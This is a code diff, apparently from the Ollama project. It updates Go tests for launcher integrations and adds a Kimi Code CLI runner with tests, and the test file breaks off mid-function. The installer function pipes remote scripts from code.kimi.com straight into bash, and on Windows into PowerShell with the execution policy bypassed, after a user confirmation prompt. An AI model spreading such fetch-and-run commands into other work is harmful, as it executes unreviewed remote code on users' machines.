||||
})
|
||||
|
||||
t.Run("prioritizes primary launcher integrations", func(t *testing.T) {
|
||||
got := make([]string, 0, len(infos))
|
||||
for _, info := range infos {
|
||||
got = append(got, info.Name)
|
||||
}
|
||||
wantPrefix := []string{"claude", "codex-app", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
|
||||
if codexAppSupported() != nil {
|
||||
wantPrefix = []string{"claude", "hermes", "openclaw", "opencode", "hermes-desktop", "codex", "copilot", "omp"}
|
||||
}
|
||||
if len(got) < len(wantPrefix) {
|
||||
t.Fatalf("expected at least %d integrations, got %v", len(wantPrefix), got)
|
||||
}
|
||||
if diff := compareStrings(got[:len(wantPrefix)], wantPrefix); diff != "" {
|
||||
t.Fatalf("unexpected primary launcher order: %s", diff)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("all fields populated", func(t *testing.T) {
|
||||
for _, info := range infos {
|
||||
if info.Name == "" {
|
||||
@@ -1532,7 +1872,13 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
})
|
||||
|
||||
t.Run("includes known integrations", func(t *testing.T) {
|
||||
known := map[string]bool{"claude": false, "codex": false, "opencode": false}
|
||||
known := map[string]bool{"claude": false, "cline": false, "codex": false, "opencode": false, "omp": false}
|
||||
if codexAppSupported() == nil {
|
||||
known["codex-app"] = false
|
||||
}
|
||||
if poolsideGOOS != "windows" {
|
||||
known["pool"] = false
|
||||
}
|
||||
for _, info := range infos {
|
||||
if _, ok := known[info.Name]; ok {
|
||||
known[info.Name] = true
|
||||
@@ -1554,6 +1900,15 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
t.Fatal("expected hermes to be included in ListIntegrationInfos")
|
||||
})
|
||||
|
||||
t.Run("includes hermes desktop", func(t *testing.T) {
|
||||
for _, info := range infos {
|
||||
if info.Name == "hermes-desktop" {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatal("expected hermes-desktop to be included in ListIntegrationInfos")
|
||||
})
|
||||
|
||||
t.Run("hermes still resolves explicitly", func(t *testing.T) {
|
||||
name, runner, err := LookupIntegration("hermes")
|
||||
if err != nil {
|
||||
@@ -1568,6 +1923,26 @@ func TestListIntegrationInfos(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestListIntegrationInfos_HidesPoolsideOnWindows(t *testing.T) {
|
||||
prev := poolsideGOOS
|
||||
poolsideGOOS = "windows"
|
||||
t.Cleanup(func() { poolsideGOOS = prev })
|
||||
|
||||
for _, info := range ListIntegrationInfos() {
|
||||
if info.Name == "pool" {
|
||||
t.Fatal("expected pool to be hidden on Windows")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestListIntegrationInfos_HidesClaudeDesktop(t *testing.T) {
|
||||
for _, info := range ListIntegrationInfos() {
|
||||
if info.Name == "claude-desktop" {
|
||||
t.Fatal("expected hidden claude-desktop to be absent")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildModelList_Descriptions(t *testing.T) {
|
||||
t.Run("installed recommended has base description", func(t *testing.T) {
|
||||
existing := []modelInfo{
|
||||
@@ -1594,7 +1969,7 @@ func TestBuildModelList_Descriptions(t *testing.T) {
|
||||
|
||||
for _, item := range items {
|
||||
if item.Name == "qwen3.5" {
|
||||
if !strings.Contains(item.Description, "~11GB") {
|
||||
if !strings.Contains(item.Description, "~14GB") {
|
||||
t.Errorf("not-installed qwen3.5 should show VRAM hint, got %q", item.Description)
|
||||
}
|
||||
return
|
||||
@@ -1611,7 +1986,7 @@ func TestBuildModelList_Descriptions(t *testing.T) {
|
||||
|
||||
for _, item := range items {
|
||||
if item.Name == "qwen3.5" {
|
||||
if strings.Contains(item.Description, "~11GB") {
|
||||
if strings.Contains(item.Description, "~14GB") {
|
||||
t.Errorf("installed qwen3.5 should not show VRAM hint, got %q", item.Description)
|
||||
}
|
||||
return
|
||||
@@ -1630,7 +2005,9 @@ func TestIntegration_Editor(t *testing.T) {
|
||||
{"opencode", true},
|
||||
{"openclaw", true},
|
||||
{"claude", false},
|
||||
{"claude-desktop", false},
|
||||
{"codex", false},
|
||||
{"omp", false},
|
||||
{"nonexistent", false},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
@@ -1655,9 +2032,14 @@ func TestIntegration_AutoInstallable(t *testing.T) {
|
||||
{"openclaw", true},
|
||||
{"pi", true},
|
||||
{"hermes", true},
|
||||
{"hermes-desktop", true},
|
||||
{"cline", true},
|
||||
{"qwen", true},
|
||||
{"claude", false},
|
||||
{"claude-desktop", false},
|
||||
{"codex", false},
|
||||
{"opencode", false},
|
||||
{"omp", false},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
@@ -1673,6 +2055,20 @@ func TestIntegration_AutoInstallable(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestEnsureIntegrationInstalled_PoolsideUnsupportedOnWindows(t *testing.T) {
|
||||
prev := poolsideGOOS
|
||||
poolsideGOOS = "windows"
|
||||
t.Cleanup(func() { poolsideGOOS = prev })
|
||||
|
||||
err := EnsureIntegrationInstalled("pool", &Poolside{})
|
||||
if err == nil {
|
||||
t.Fatal("expected Windows unsupported error")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "not currently supported on Windows") {
|
||||
t.Fatalf("expected Windows warning, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIntegrationModels(t *testing.T) {
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
|
||||
@@ -0,0 +1,315 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/envconfig"
|
||||
)
|
||||
|
||||
// Kimi implements Runner for Kimi Code CLI integration.
|
||||
type Kimi struct{}
|
||||
|
||||
const (
|
||||
kimiDefaultModelAlias = "ollama"
|
||||
kimiDefaultMaxContextSize = 32768
|
||||
)
|
||||
|
||||
var (
|
||||
kimiGOOS = runtime.GOOS
|
||||
kimiModelShowTimeout = 5 * time.Second
|
||||
)
|
||||
|
||||
func (k *Kimi) String() string { return "Kimi Code CLI" }
|
||||
|
||||
func (k *Kimi) args(config string, extra []string) []string {
|
||||
args := []string{"--config", config}
|
||||
args = append(args, extra...)
|
||||
return args
|
||||
}
|
||||
|
||||
func (k *Kimi) Run(model string, _ []LaunchModel, args []string) error {
|
||||
if strings.TrimSpace(model) == "" {
|
||||
return fmt.Errorf("model is required")
|
||||
}
|
||||
if err := validateKimiPassthroughArgs(args); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
config, err := buildKimiInlineConfig(model, resolveKimiMaxContextSize(model))
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to build kimi config: %w", err)
|
||||
}
|
||||
|
||||
bin, err := ensureKimiInstalled()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
cmd := exec.Command(bin, k.args(config, args)...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func findKimiBinary() (string, error) {
|
||||
if path, err := exec.LookPath("kimi"); err == nil {
|
||||
return path, nil
|
||||
}
|
||||
|
||||
home, _ := os.UserHomeDir()
|
||||
|
||||
var candidates []string
|
||||
switch kimiGOOS {
|
||||
case "windows":
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(home, ".local", "bin"))
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(home, "bin"))
|
||||
|
||||
if appData := strings.TrimSpace(os.Getenv("APPDATA")); appData != "" {
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(appData, "uv", "bin"))
|
||||
}
|
||||
if localAppData := strings.TrimSpace(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(localAppData, "uv", "bin"))
|
||||
}
|
||||
default:
|
||||
candidates = append(candidates,
|
||||
filepath.Join(home, ".local", "bin", "kimi"),
|
||||
filepath.Join(home, "bin", "kimi"),
|
||||
filepath.Join(home, ".local", "share", "uv", "tools", "kimi-cli", "bin", "kimi"),
|
||||
filepath.Join(home, ".local", "share", "uv", "tools", "kimi", "bin", "kimi"),
|
||||
)
|
||||
|
||||
if xdgDataHome := strings.TrimSpace(os.Getenv("XDG_DATA_HOME")); xdgDataHome != "" {
|
||||
candidates = append(candidates,
|
||||
filepath.Join(xdgDataHome, "uv", "tools", "kimi-cli", "bin", "kimi"),
|
||||
filepath.Join(xdgDataHome, "uv", "tools", "kimi", "bin", "kimi"),
|
||||
)
|
||||
}
|
||||
|
||||
// WSL users can inherit Windows env vars while launching from Linux shells.
|
||||
if profile := windowsPathToWSL(os.Getenv("USERPROFILE")); profile != "" {
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(profile, ".local", "bin"))
|
||||
}
|
||||
if appData := windowsPathToWSL(os.Getenv("APPDATA")); appData != "" {
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(appData, "uv", "bin"))
|
||||
}
|
||||
if localAppData := windowsPathToWSL(os.Getenv("LOCALAPPDATA")); localAppData != "" {
|
||||
candidates = appendWindowsKimiCandidates(candidates, filepath.Join(localAppData, "uv", "bin"))
|
||||
}
|
||||
}
|
||||
|
||||
for _, candidate := range candidates {
|
||||
if info, err := os.Stat(candidate); err == nil && !info.IsDir() {
|
||||
return candidate, nil
|
||||
}
|
||||
}
|
||||
|
||||
return "", fmt.Errorf("kimi binary not found")
|
||||
}
|
||||
|
||||
func appendWindowsKimiCandidates(candidates []string, dir string) []string {
|
||||
if strings.TrimSpace(dir) == "" {
|
||||
return candidates
|
||||
}
|
||||
|
||||
return append(candidates,
|
||||
filepath.Join(dir, "kimi.exe"),
|
||||
filepath.Join(dir, "kimi.cmd"),
|
||||
filepath.Join(dir, "kimi.bat"),
|
||||
)
|
||||
}
|
||||
|
||||
func windowsPathToWSL(path string) string {
|
||||
trimmed := strings.TrimSpace(path)
|
||||
if len(trimmed) < 3 || trimmed[1] != ':' {
|
||||
return ""
|
||||
}
|
||||
|
||||
drive := strings.ToLower(string(trimmed[0]))
|
||||
rest := strings.ReplaceAll(trimmed[2:], "\\", "/")
|
||||
rest = strings.TrimPrefix(rest, "/")
|
||||
if rest == "" {
|
||||
return filepath.Join("/mnt", drive)
|
||||
}
|
||||
|
||||
return filepath.Join("/mnt", drive, rest)
|
||||
}
|
||||
|
||||
func validateKimiPassthroughArgs(args []string) error {
|
||||
for _, arg := range args {
|
||||
switch {
|
||||
case arg == "--config", strings.HasPrefix(arg, "--config="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch kimi manages --config", arg)
|
||||
case arg == "--config-file", strings.HasPrefix(arg, "--config-file="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch kimi manages --config-file", arg)
|
||||
case arg == "--model", strings.HasPrefix(arg, "--model="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch kimi manages --model", arg)
|
||||
case arg == "-m", strings.HasPrefix(arg, "-m="):
|
||||
return fmt.Errorf("conflicting extra argument %q: ollama launch kimi manages -m/--model", arg)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func buildKimiInlineConfig(model string, maxContextSize int) (string, error) {
|
||||
cfg := map[string]any{
|
||||
"default_model": kimiDefaultModelAlias,
|
||||
"providers": map[string]any{
|
||||
kimiDefaultModelAlias: map[string]any{
|
||||
"type": "openai_legacy",
|
||||
"base_url": envconfig.ConnectableHost().String() + "/v1",
|
||||
"api_key": "ollama",
|
||||
},
|
||||
},
|
||||
"models": map[string]any{
|
||||
kimiDefaultModelAlias: map[string]any{
|
||||
"provider": kimiDefaultModelAlias,
|
||||
"model": model,
|
||||
"max_context_size": maxContextSize,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
data, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return string(data), nil
|
||||
}
|
||||
|
||||
func resolveKimiMaxContextSize(model string) int {
|
||||
if l, ok := lookupCloudModelLimit(model); ok {
|
||||
return l.Context
|
||||
}
|
||||
|
||||
client, err := api.ClientFromEnvironment()
|
||||
if err != nil {
|
||||
return kimiDefaultMaxContextSize
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), kimiModelShowTimeout)
|
||||
defer cancel()
|
||||
resp, err := client.Show(ctx, &api.ShowRequest{Model: model})
|
||||
if err != nil {
|
||||
return kimiDefaultMaxContextSize
|
||||
}
|
||||
|
||||
if n, ok := modelInfoContextLength(resp.ModelInfo); ok {
|
||||
return n
|
||||
}
|
||||
|
||||
return kimiDefaultMaxContextSize
|
||||
}
|
||||
|
||||
func modelInfoContextLength(modelInfo map[string]any) (int, bool) {
|
||||
for key, val := range modelInfo {
|
||||
if !strings.HasSuffix(key, ".context_length") {
|
||||
continue
|
||||
}
|
||||
switch v := val.(type) {
|
||||
case float64:
|
||||
if v > 0 {
|
||||
return int(v), true
|
||||
}
|
||||
case int:
|
||||
if v > 0 {
|
||||
return v, true
|
||||
}
|
||||
case int64:
|
||||
if v > 0 {
|
||||
return int(v), true
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func ensureKimiInstalled() (string, error) {
|
||||
if path, err := findKimiBinary(); err == nil {
|
||||
return path, nil
|
||||
}
|
||||
|
||||
if err := checkKimiInstallerDependencies(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
ok, err := ConfirmPrompt("Kimi is not installed. Install now?")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if !ok {
|
||||
return "", fmt.Errorf("kimi installation cancelled")
|
||||
}
|
||||
|
||||
bin, args, err := kimiInstallerCommand(kimiGOOS)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "\nInstalling Kimi...\n")
|
||||
cmd := exec.Command(bin, args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return "", fmt.Errorf("failed to install kimi: %w", err)
|
||||
}
|
||||
|
||||
path, err := findKimiBinary()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("kimi was installed but the binary was not found on PATH\n\nYou may need to restart your shell")
|
||||
}
|
||||
|
||||
fmt.Fprintf(os.Stderr, "%sKimi installed successfully%s\n\n", ansiGreen, ansiReset)
|
||||
return path, nil
|
||||
}
|
||||
|
||||
func checkKimiInstallerDependencies() error {
|
||||
switch kimiGOOS {
|
||||
case "windows":
|
||||
if _, err := exec.LookPath("powershell"); err != nil {
|
||||
return fmt.Errorf("kimi is not installed and required dependencies are missing\n\nInstall the following first:\n PowerShell: https://learn.microsoft.com/powershell/\n\nThen re-run:\n ollama launch kimi")
|
||||
}
|
||||
default:
|
||||
var missing []string
|
||||
if _, err := exec.LookPath("curl"); err != nil {
|
||||
missing = append(missing, "curl: https://curl.se/")
|
||||
}
|
||||
if _, err := exec.LookPath("bash"); err != nil {
|
||||
missing = append(missing, "bash: https://www.gnu.org/software/bash/")
|
||||
}
|
||||
if len(missing) > 0 {
|
||||
return fmt.Errorf("kimi is not installed and required dependencies are missing\n\nInstall the following first:\n %s\n\nThen re-run:\n ollama launch kimi", strings.Join(missing, "\n "))
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func kimiInstallerCommand(goos string) (string, []string, error) {
|
||||
switch goos {
|
||||
case "windows":
|
||||
return "powershell", []string{
|
||||
"-NoProfile",
|
||||
"-ExecutionPolicy",
|
||||
"Bypass",
|
||||
"-Command",
|
||||
"Invoke-RestMethod https://code.kimi.com/install.ps1 | Invoke-Expression",
|
||||
}, nil
|
||||
case "darwin", "linux":
|
||||
return "bash", []string{
|
||||
"-c",
|
||||
"curl -LsSf https://code.kimi.com/install.sh | bash",
|
||||
}, nil
|
||||
default:
|
||||
return "", nil, fmt.Errorf("unsupported platform for kimi install: %s", goos)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,636 @@
|
||||
package launch
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func assertKimiBinPath(t *testing.T, bin string) {
|
||||
t.Helper()
|
||||
base := strings.ToLower(filepath.Base(bin))
|
||||
if !strings.HasPrefix(base, "kimi") {
|
||||
t.Fatalf("bin = %q, want path to kimi executable", bin)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKimiIntegration(t *testing.T) {
|
||||
k := &Kimi{}
|
||||
|
||||
t.Run("String", func(t *testing.T) {
|
||||
if got := k.String(); got != "Kimi Code CLI" {
|
||||
t.Errorf("String() = %q, want %q", got, "Kimi Code CLI")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("implements Runner", func(t *testing.T) {
|
||||
var _ Runner = k
|
||||
})
|
||||
}
|
||||
|
||||
func TestKimiArgs(t *testing.T) {
|
||||
k := &Kimi{}
|
||||
|
||||
got := k.args(`{"foo":"bar"}`, []string{"--quiet", "--print"})
|
||||
want := []string{"--config", `{"foo":"bar"}`, "--quiet", "--print"}
|
||||
if !slices.Equal(got, want) {
|
||||
t.Fatalf("args() = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWindowsPathToWSL(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
valid bool
|
||||
}{
|
||||
{
|
||||
name: "user profile path",
|
||||
in: `C:\Users\parth`,
|
||||
want: filepath.Join("/mnt", "c", "Users", "parth"),
|
||||
valid: true,
|
||||
},
|
||||
{
|
||||
name: "path with trailing slash",
|
||||
in: `D:\tools\bin\`,
|
||||
want: filepath.Join("/mnt", "d", "tools", "bin"),
|
||||
valid: true,
|
||||
},
|
||||
{
|
||||
name: "non windows path",
|
||||
in: "/home/parth",
|
||||
valid: false,
|
||||
},
|
||||
{
|
||||
name: "empty",
|
||||
in: "",
|
||||
valid: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := windowsPathToWSL(tt.in)
|
||||
if !tt.valid {
|
||||
if got != "" {
|
||||
t.Fatalf("windowsPathToWSL(%q) = %q, want empty", tt.in, got)
|
||||
}
|
||||
return
|
||||
}
|
||||
if got != tt.want {
|
||||
t.Fatalf("windowsPathToWSL(%q) = %q, want %q", tt.in, got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindKimiBinaryFallbacks(t *testing.T) {
|
||||
oldGOOS := kimiGOOS
|
||||
t.Cleanup(func() { kimiGOOS = oldGOOS })
|
||||
|
||||
t.Run("linux/ubuntu uv tool path", func(t *testing.T) {
|
||||
homeDir := t.TempDir()
|
||||
setTestHome(t, homeDir)
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
kimiGOOS = "linux"
|
||||
|
||||
target := filepath.Join(homeDir, ".local", "share", "uv", "tools", "kimi-cli", "bin", "kimi")
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
|
||||
t.Fatalf("failed to create candidate dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(target, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write kimi candidate: %v", err)
|
||||
}
|
||||
|
||||
got, err := findKimiBinary()
|
||||
if err != nil {
|
||||
t.Fatalf("findKimiBinary() error = %v", err)
|
||||
}
|
||||
if got != target {
|
||||
t.Fatalf("findKimiBinary() = %q, want %q", got, target)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("windows appdata uv bin", func(t *testing.T) {
|
||||
setTestHome(t, t.TempDir())
|
||||
t.Setenv("PATH", t.TempDir())
|
||||
kimiGOOS = "windows"
|
||||
|
||||
appDataDir := t.TempDir()
|
||||
t.Setenv("APPDATA", appDataDir)
|
||||
t.Setenv("LOCALAPPDATA", "")
|
||||
|
||||
target := filepath.Join(appDataDir, "uv", "bin", "kimi.cmd")
|
||||
if err := os.MkdirAll(filepath.Dir(target), 0o755); err != nil {
|
||||
t.Fatalf("failed to create candidate dir: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(target, []byte("@echo off\r\nexit /b 0\r\n"), 0o755); err != nil {
|
||||
t.Fatalf("failed to write kimi candidate: %v", err)
|
||||
}
|
||||
|
||||
got, err := findKimiBinary()
|
||||
if err != nil {
|
||||
t.Fatalf("findKimiBinary() error = %v", err)
|
||||
}
|
||||
if got != target {
|
||||
t.Fatalf("findKimiBinary() = %q, want %q", got, target)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestValidateKimiPassthroughArgs_RejectsConflicts(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
args []string
|
||||
want string
|
||||
}{
|
||||
{name: "--config", args: []string{"--config", "{}"}, want: "--config"},
|
||||
{name: "--config=", args: []string{"--config={}"}, want: "--config={"},
|
||||
{name: "--config-file", args: []string{"--config-file", "x.toml"}, want: "--config-file"},
|
||||
{name: "--config-file=", args: []string{"--config-file=x.toml"}, want: "--config-file=x.toml"},
|
||||
{name: "--model", args: []string{"--model", "foo"}, want: "--model"},
|
||||
{name: "--model=", args: []string{"--model=foo"}, want: "--model=foo"},
|
||||
{name: "-m", args: []string{"-m", "foo"}, want: "-m"},
|
||||
{name: "-m=", args: []string{"-m=foo"}, want: "-m=foo"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
err := validateKimiPassthroughArgs(tt.args)
|
||||
if err == nil {
|
||||
t.Fatalf("expected error for args %v", tt.args)
|
||||
}
|
||||
if !strings.Contains(err.Error(), tt.want) {
|
||||
t.Fatalf("error %q does not contain %q", err.Error(), tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKimiInlineConfig(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://127.0.0.1:11434")
|
||||
|
||||
cfg, err := buildKimiInlineConfig("llama3.2", 65536)
|
||||
if err != nil {
|
||||
t.Fatalf("buildKimiInlineConfig() error = %v", err)
|
||||
}
|
||||
|
||||
var parsed map[string]any
|
||||
if err := json.Unmarshal([]byte(cfg), &parsed); err != nil {
|
||||
t.Fatalf("config is not valid JSON: %v", err)
|
||||
}
|
||||
|
||||
if parsed["default_model"] != "ollama" {
|
||||
t.Fatalf("default_model = %v, want ollama", parsed["default_model"])
|
||||
}
|
||||
|
||||
providers, ok := parsed["providers"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers missing or wrong type: %T", parsed["providers"])
|
||||
}
|
||||
ollamaProvider, ok := providers["ollama"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers.ollama missing or wrong type: %T", providers["ollama"])
|
||||
}
|
||||
if ollamaProvider["type"] != "openai_legacy" {
|
||||
t.Fatalf("provider type = %v, want openai_legacy", ollamaProvider["type"])
|
||||
}
|
||||
if ollamaProvider["base_url"] != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("provider base_url = %v, want http://127.0.0.1:11434/v1", ollamaProvider["base_url"])
|
||||
}
|
||||
if ollamaProvider["api_key"] != "ollama" {
|
||||
t.Fatalf("provider api_key = %v, want ollama", ollamaProvider["api_key"])
|
||||
}
|
||||
|
||||
models, ok := parsed["models"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("models missing or wrong type: %T", parsed["models"])
|
||||
}
|
||||
ollamaModel, ok := models["ollama"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("models.ollama missing or wrong type: %T", models["ollama"])
|
||||
}
|
||||
if ollamaModel["provider"] != "ollama" {
|
||||
t.Fatalf("model provider = %v, want ollama", ollamaModel["provider"])
|
||||
}
|
||||
if ollamaModel["model"] != "llama3.2" {
|
||||
t.Fatalf("model model = %v, want llama3.2", ollamaModel["model"])
|
||||
}
|
||||
if ollamaModel["max_context_size"] != float64(65536) {
|
||||
t.Fatalf("model max_context_size = %v, want 65536", ollamaModel["max_context_size"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildKimiInlineConfig_UsesConnectableHostForUnspecifiedBind(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", "http://0.0.0.0:11434")
|
||||
|
||||
cfg, err := buildKimiInlineConfig("llama3.2", 65536)
|
||||
if err != nil {
|
||||
t.Fatalf("buildKimiInlineConfig() error = %v", err)
|
||||
}
|
||||
|
||||
var parsed map[string]any
|
||||
if err := json.Unmarshal([]byte(cfg), &parsed); err != nil {
|
||||
t.Fatalf("config is not valid JSON: %v", err)
|
||||
}
|
||||
|
||||
providers, ok := parsed["providers"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers missing or wrong type: %T", parsed["providers"])
|
||||
}
|
||||
|
||||
ollamaProvider, ok := providers["ollama"].(map[string]any)
|
||||
if !ok {
|
||||
t.Fatalf("providers.ollama missing or wrong type: %T", providers["ollama"])
|
||||
}
|
||||
if got, _ := ollamaProvider["base_url"].(string); got != "http://127.0.0.1:11434/v1" {
|
||||
t.Fatalf("provider base_url = %q, want %q", got, "http://127.0.0.1:11434/v1")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveKimiMaxContextSize(t *testing.T) {
|
||||
t.Run("uses cloud limit when known", func(t *testing.T) {
|
||||
got := resolveKimiMaxContextSize("kimi-k2.5:cloud")
|
||||
if got != 262_144 {
|
||||
t.Fatalf("resolveKimiMaxContextSize() = %d, want 262144", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("uses model show context length for local models", func(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.URL.Path != "/api/show" {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
fmt.Fprint(w, `{"model_info":{"llama.context_length":131072}}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
got := resolveKimiMaxContextSize("llama3.2")
|
||||
if got != 131_072 {
|
||||
t.Fatalf("resolveKimiMaxContextSize() = %d, want 131072", got)
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("falls back to default when show fails", func(t *testing.T) {
|
||||
srv := httptest.NewServer(http.NotFoundHandler())
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
oldTimeout := kimiModelShowTimeout
|
||||
kimiModelShowTimeout = 100 * 1000 * 1000 // 100ms
|
||||
t.Cleanup(func() { kimiModelShowTimeout = oldTimeout })
|
||||
|
||||
got := resolveKimiMaxContextSize("llama3.2")
|
||||
if got != kimiDefaultMaxContextSize {
|
||||
t.Fatalf("resolveKimiMaxContextSize() = %d, want %d", got, kimiDefaultMaxContextSize)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestKimiRun_RejectsConflictingArgsBeforeInstall(t *testing.T) {
|
||||
k := &Kimi{}
|
||||
|
||||
oldConfirm := DefaultConfirmPrompt
|
||||
DefaultConfirmPrompt = func(prompt string, options ConfirmOptions) (bool, error) {
|
||||
t.Fatalf("did not expect install prompt, got %q", prompt)
|
||||
return false, nil
|
||||
}
|
||||
t.Cleanup(func() { DefaultConfirmPrompt = oldConfirm })
|
||||
|
||||
err := k.Run("llama3.2", nil, []string{"--model", "other"})
|
||||
if err == nil || !strings.Contains(err.Error(), "--model") {
|
||||
t.Fatalf("expected conflict error mentioning --model, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKimiRun_PassesInlineConfigAndExtraArgs(t *testing.T) {
|
||||
if runtime.GOOS == "windows" {
|
||||
t.Skip("uses POSIX shell fake binary")
|
||||
}
|
||||
|
||||
tmpDir := t.TempDir()
|
||||
setTestHome(t, tmpDir)
|
||||
logPath := filepath.Join(tmpDir, "kimi-args.log")
|
||||
script := fmt.Sprintf(`#!/bin/sh
|
||||
for arg in "$@"; do
|
||||
printf "%%s\n" "$arg" >> %q
|
||||
done
|
||||
exit 0
|
||||
`, logPath)
|
||||
if err := os.WriteFile(filepath.Join(tmpDir, "kimi"), []byte(script), 0o755); err != nil {
|
||||
t.Fatalf("failed to write fake kimi: %v", err)
|
||||
}
|
||||
t.Setenv("PATH", tmpDir)
|
||||
|
||||
srv := httptest.NewServer(http.NotFoundHandler())
|
||||
defer srv.Close()
|
||||
t.Setenv("OLLAMA_HOST", srv.URL)
|
||||
|
||||
k := &Kimi{}
|
||||
if err := k.Run("llama3.2", nil, []string{"--quiet", "--print"}); err != nil {
|
||||
t.Fatalf("Run() error = %v", err)
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(logPath)
|
||||
if err != nil {
|
||||
t.Fatalf("failed to read args log: %v", err)
|
||||
}
|
||||
lines := strings.Split(strings.TrimSpace(string(data)), "\n")
|
||||
if len(lines) < 4 {
|
||||
t.Fatalf("expected at least 4 args, got %v", lines)
|
||||
}
|
||||
if lines[0] != "--config" {
|
||||
t.Fatalf("first arg = %q, want --config", lines[0])
|
||||
}
|
||||
|
||||
var cfg map[string]any
|
||||
if err := json.Unmarshal([]byte(lines[1]), &cfg); err != nil {
|
||||
